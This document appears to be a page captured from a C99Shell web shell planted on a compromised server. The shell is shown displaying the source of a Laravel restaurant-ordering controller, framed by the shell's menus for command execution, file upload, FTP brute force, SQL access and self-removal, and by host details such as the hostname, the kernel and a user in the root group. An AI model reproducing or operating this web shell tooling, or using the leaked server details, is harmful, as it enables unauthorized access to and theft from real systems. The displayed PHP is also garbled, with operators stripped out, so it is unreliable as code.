!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/Modules/MultiRestaurant/Http/Controllers/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MultiRestaurantController.php (17.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\MultiRestaurant\Http\Controllers;

use 
App\Models\OrderDetails;
use 
App\Models\Restaurant;
use 
App\Models\Setting;
use 
App\Models\Settings;
use 
App\Models\Table;
use 
Illuminate\Contracts\Support\Renderable;
use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Controller;
use 
Modules\MultiRestaurant\Entities\Cart;
use 
Modules\MultiRestaurant\Entities\City;
use 
Modules\MultiRestaurant\Entities\TableBooking;
use 
Modules\MultiRestaurant\Entities\User;

class 
MultiRestaurantController extends Controller
{
    
/**
     * Display a listing of the resource.
     * @return Renderable
     */
    
public function index()
    {
        
$data['cities'] = City::where('status','active')->get();
        return 
view('multirestaurant::index',$data);
    }
    public function 
restaurants()
    {
        return 
view('multirestaurant::multiRestaurant');
    }
    public function 
addToCart()
    {
        
$user auth()->user();
        if (!
$user){
            return 
redirect()->route('login',['type'=>'customer']);
        }
        
$data['carts'] = User::find($user->id)->carts()->get()->unique('restaurant_id');
        
$data['items'] = User::find($user->id)->carts()->get();
        
$data['order_status'] = User::find($user->id)->order_status()->first();
        return 
view('multirestaurant::addToCart',$data);
    }

    function 
deg2rads($e)
    {
        return 
$e pi() / 180;
    }


    function 
distance($lat1$lon1$lat2$lon2$unit 'K')
    {

        
$theta $lon1 $lon2;
        
$dist sin(deg2rad($lat1)) * sin(deg2rad($lat2)) + cos(deg2rad($lat1)) * cos(deg2rad($lat2)) * cos(deg2rad($theta));
        
$dist acos($dist);
        
$dist rad2deg($dist);
        
$miles $dist 60 1.1515;
        
$unit strtoupper($unit);

        if (
$unit == "K") {
            return (
$miles 1.609344);
        } else if (
$unit == "N") {
            return (
$miles 0.8684);
        } else {
            return 
$miles;
        }
    }


    public function 
find_restaurant(Request $request)
    {

        if (!
$request->city) {
            
$request->validate([
                
'restaurant_location' => 'required',
                
'order_type' => 'required',
            ]);
        }
        if (
$request->city){
            
$data['city_restaurants'] = Restaurant::where('location''like''%'.$request->city.'%')->where('on_multi_restaurant','publish')->get();
        }else{

            
$restaurants Restaurant::where($request->order_type'=''yes')->where('on_multi_restaurant','publish')->get();

            
$restInfo = [];
            foreach (
$restaurants as $restaurant) {
                
$lat = isset($restaurant->direction) ? json_decode($restaurant->direction)->lat '';
                
$long = isset($restaurant->direction) ? json_decode($restaurant->direction)->long '';
                
$dist $this->distance($request->location_lat$request->location_long$lat$long);
                
$restInfo[] = ['id' => $restaurant->id'distance' => $dist];
            };
            
array_multisort(array_map(function ($element) {
                return 
$element['distance'];
            }, 
$restInfo), SORT_ASC$restInfo);
            
$restaurantWithDistance collect(array_slice($restInfo01000));
            
$restLimitedIds $restaurantWithDistance->pluck('id');
            
$resultRestaurants $restaurants->whereIn('id'$restLimitedIds)->all();
            
$restData = [];
            foreach (
$resultRestaurants as $key => $restaurant) {

                
$resDistance $restaurantWithDistance->where('id'$restaurant->id)->first();
                if (
$resDistance['distance'] < 15) {
                    
$restData[$key]['id'] = $restaurant->id;
                    
$restData[$key]['name'] = $restaurant->name;
                    
$restData[$key]['delivery_fee'] = $restaurant->delivery_fee;
                    
$restData[$key]['location'] = $restaurant->location;
                    
$restData[$key]['distance'] = isset($resDistance['distance']) ? $resDistance['distance'] : '';
                    
$restData[$key]['description'] = clean($restaurant->description);
                    
$restData[$key]['image'] = isset($restaurant->cover_image) ? asset('uploads/' $restaurant->cover_image) : asset('images/df-rest.png');
                    
$restData[$key]['route'] = route('show.restaurant', ['slug' => $restaurant->slug'id' => $restaurant->id'd' => isset($resDistance['distance']) ? round($resDistance['distance'], 1) : '0']);

                }

            }

            
$data['distance'] = $restInfo;
            
$data['restaurants'] = $restData;

            
$data['tables'] = Table::where('status','active')->get();
            
$data['order_type'] = $request->order_type;
        }


        return 
view('multirestaurant::multiRestaurant',$data);

    }
    public function 
cart(Request $request)
    {
        
$auth auth()->user();
        if (!
$auth){
            return 
redirect()->route('login',['type'=>'customer']);
        }

        foreach (
$request->item_id as $item){
          
$item_id \Modules\MultiRestaurant\Entities\Cart::where('item_id',$item)->where('customer_id',$auth->id)->first();
            if(
$item_id){
                foreach (
$request->item_quantity as $quantity){
                    
\Modules\MultiRestaurant\Entities\Cart::where('item_id',$item_id->item_id)->update(['item_quantity'=>$quantity+$item_id->item_quantity]);
                }
            }else{
                foreach (
$request->item_id as $item){
                    foreach (
$request->item_quantity as $quantity){
                        
$item_add = new Cart();
                        
$item_add->customer_id$auth->id;
                        
$item_add->item_quantity$quantity;
                        
$item_add->restaurant_id $request->restaurant;
                    }
                    
$item_add->item_id $item;
                    
$item_add->save();
                }
            }
        }

        return 
redirect()->back();
    }

    public function 
table_booking_store(Request $request)
    {
        
$request->validate([
            
'name' => 'required|max:191',
            
'email' => 'required',
            
'phone_number' => 'required|max:20',
            
'time' => 'required',
            
'date' => 'required',
            
'restaurant_table_id' => 'required',
            
'table_id' => 'required',
            
'person' => 'required',
        ]);
        
$tableBokking= new TableBooking();
        
$tableBokking->restaurant_id$request->restaurant_table_id;
        
$tableBokking->name$request->name;
        
$tableBokking->phone_number $request->phone_number;
        
$tableBokking->email $request->email;
        
$tableBokking->time$request->time;
        
$tableBokking->date $request->date;
        
$tableBokking->table_id $request->table_id;
        
$tableBokking->person$request->person;
        
$tableBokking->reference_number $request->reference_number;
        
$tableBokking->reference_name $request->reference_name;
        
$tableBokking->comment $request->comment;
        
$tableBokking->save();
        return 
redirect()->back()->with('success'trans('multirestaurant::layout.your_table_successfully_booked'));
    }
    public function 
table_booking()
    {
        
$tables Table::where('user_id',auth()->user()->id)->pluck('id');
        
$tableBooks  \Modules\MultiRestaurant\Entities\TableBooking::whereIn('table_id',$tables)->get();
        
$data['tables'] = $tableBooks;
        return 
view('multirestaurant::table_booking'$data);
    }
    public function 
table_booking_approved(Request $request)
    {
        
\Modules\MultiRestaurant\Entities\TableBooking::where('id',$request->table_id)->update(['status'=>'approved']);
        return 
redirect()->back()->with('success'trans('multirestaurant::layout.table_booking_approve_success'));
    }
    public function 
table_booking_rejected(Request $request)
    {
        
\Modules\MultiRestaurant\Entities\TableBooking::where('id',$request->table_id)->update(['status'=>'rejected']);
        return 
redirect()->back()->with('success'trans('multirestaurant::layout.table_booking_rejected_success'));
    }


    public function 
table_booking_delete(Request $request)
    {
        
\Modules\MultiRestaurant\Entities\TableBooking::where('id',$request->table_id)->delete();
        return 
redirect()->back()->with('success'trans('multirestaurant::layout.table_delete_msg'));
    }

    public function 
cities()
    {
        
$user auth()->user();
        if (
$user->type != 'admin'){
            
abort('404');
        }
        
$data['cities'] = User::find($user->id)->cities()->get();
        return 
view('multirestaurant::cities.index',$data);
    }

    public function 
city_create()
    {
        return 
view('multirestaurant::cities.create');
    }
    public function 
city_edit($id)
    {
        
$data['city'] = City::where('id',$id)->first();
        return 
view('multirestaurant::cities.edit',$data);
    }

    public function 
city_store(Request $request)
    {
        
$request->validate([
            
"name" => "required|max:191",
            
"status" => "required|in:active,inactive",
            
'city_image' => 'image',
        ]);
        
$user auth()->user();
        if (
$user->type != 'admin'){
            
abort('404');
        }
        if (
$request->hasFile('city_image')) {
            
$file $request->file('city_image');
            
$imageName time() . '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageName);
            
$request['image'] = $imageName;
        }
        
User::find($user->id)->cities()->create($request->all());
        return 
redirect()->back()->with('success'trans('multirestaurant::layout.city_create_successfully'));
    }

    public function 
city_update(Request $request)
    {
        
$request->validate([
            
"name" => "required|max:191",
            
"status" => "required|in:active,inactive",
            
'city_image' => 'image',
        ]);

        
$user auth()->user();
        if (
$user->type != 'admin'){
            
abort('404');
        }
        if (
$request->hasFile('city_image')) {
            
$file $request->file('city_image');
            
$imageName time() . '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageName);
            
$request['image'] = $imageName;
        }

        
User::find($user->id)->cities()->where('id',$request->id)->update($request->only('name','status','image'));

        return 
redirect()->back()->with('success'trans('multirestaurant::layout.city_updated_successfully'));
    }
    public function 
city_delete($id)
    {
        
$user auth()->user();
        if (
$user->type != 'admin'){
            
abort('404');
        }
        
$city User::find($user->id)->cities()->findOrFail($id);
        
$city->delete();
        return 
redirect()->back()->with('success'trans('multirestaurant::layout.city_deleted_successfully'));
    }

    public function 
multirestaurant_template()
    {
        
$user auth()->user();
        if (
$user->type != 'admin'){
            
abort('404');
        }
        return 
view('multirestaurant::template.index');
    }

    public function 
multirestaurant_template_store(Request $request)
    {
        
$user auth()->user();
        if (
$user->type != 'admin'){
            
abort('404');
        }
        
$data_template Setting::where('name','multirestaurant_template')->first();
        if (
$data_template){
            
$template json_decode($data_template->value);
        }

        if(isset(
$template->bg_image_file_name) && $template->bg_image_file_name){
            
$request['bg_image_file_name'] = $template->bg_image_file_name;
        }

        if (
$request->hasFile('bg_image')) {
            
$file $request->file('bg_image');
            
$imageOneName time().'_1' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageOneName);
            
$request['bg_image_file_name'] = $imageOneName;
        }
        if(isset(
$template->section_two_bg_image_file_name) && $template->section_two_bg_image_file_name){
            
$request['section_two_bg_image_file_name'] = $template->section_two_bg_image_file_name;
        }
        if (
$request->hasFile('section_two_bg_image')) {
            
$file $request->file('section_two_bg_image');
            
$imageTwoName time().'_2' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageTwoName);
            
$request['section_two_bg_image_file_name'] = $imageTwoName;
        }
        if(isset(
$template->section_three_bg_image_file_name) && $template->section_three_bg_image_file_name){
            
$request['section_three_bg_image_file_name'] = $template->section_three_bg_image_file_name;
        }
        if (
$request->hasFile('section_three_bg_image')) {
            
$file $request->file('section_three_bg_image');
            
$imageThreeName time().'_3' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageThreeName);
            
$request['section_three_bg_image_file_name'] = $imageThreeName;
        }

        if (isset(
$data_template) && $data_template->name == 'multirestaurant_template'){
            
$template Setting::where('name''=''multirestaurant_template')->first();
            
$template->value json_encode($request->only('title','bg_image_file_name','section_two_blur_title''section_two_title''section_two_link''section_two_description_title''section_two_description''section_two_bg_image_file_name''section_three_blur_title''section_three_title''section_three_link''section_three_description_title''section_three_description''section_three_bg_image_file_name''section_four_description_title''section_four_description'));
            
$template->save();
        }else{
            
$template = new Setting();
            
$template->name 'multirestaurant_template';
            
$template->value json_encode($request->only('title','bg_image_file_name','section_two_blur_title''section_two_title''section_two_link''section_two_description_title''section_two_description''section_two_bg_image_file_name''section_three_blur_title''section_three_title''section_three_link''section_three_description_title''section_three_description''section_three_bg_image_file_name''section_four_description_title''section_four_description',));
            
$template->save();
        }
        
cache()->flush();

        return 
redirect()->back()->with('success'trans('multirestaurant::layout.template_updated_successfully'));
    }

    public function 
multirestaurant_order_status()
    {
        
$user auth()->user();
        if (!
$user){
            return 
redirect()->route('login',['type'=>'customer']);
        }
        
$orders User::find($user->id)->order_status()->get();
        
$items = [];
        foreach (
$orders as $order){
            
$item OrderDetails::where('order_id',$order->id)->get();
            foreach (
$item as $ite){
                
$items[]=$ite;
            }
        }
        
$data['payment_status'] = $orders;
        
$data['orders_items'] = $items;
        return 
view('multirestaurant::order_status',$data);
    }

    
/**
     * Show the form for creating a new resource.
     * @return Renderable
     */

    /**
     * Store a newly created resource in storage.
     * @param Request $request
     * @return Renderable
     */
    
public function remove_add_to_cart_item($id)
    {
        if (!
auth()->user()){
            return 
redirect()->route('login',['type'=>'customer']);
        }
        
\Modules\MultiRestaurant\Entities\Cart::where('restaurant_id',$id)->where('customer_id',auth()->user()->id)->delete();
        return 
redirect()->back()->with('success'trans('multirestaurant::layout.extra_item_successfully'));
    }

    
/**
     * Show the specified resource.
     * @param int $id
     * @return Renderable
     */
    
public function remove_cart_item($id)
    {
        if (!
auth()->user()){
            return 
redirect()->route('login',['type'=>'customer']);
        }
        
\Modules\MultiRestaurant\Entities\Cart::where('id',$id)->where('customer_id',auth()->user()->id)->delete();
        return 
redirect()->back()->with('success'trans('multirestaurant::layout.extra_item_successfully'));
    }

    
/**
     * Show the form for editing the specified resource.
     * @param int $id
     * @return Renderable
     */
    
public function edit($id)
    {
        return 
view('multirestaurant::edit');
    }

    
/**
     * Update the specified resource in storage.
     * @param Request $request
     * @param int $id
     * @return Renderable
     */
    
public function update(Request $request$id)
    {
        
//
    
}

    
/**
     * Remove the specified resource from storage.
     * @param int $id
     * @return Renderable
     */
    
public function destroy($id)
    {
        
//
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--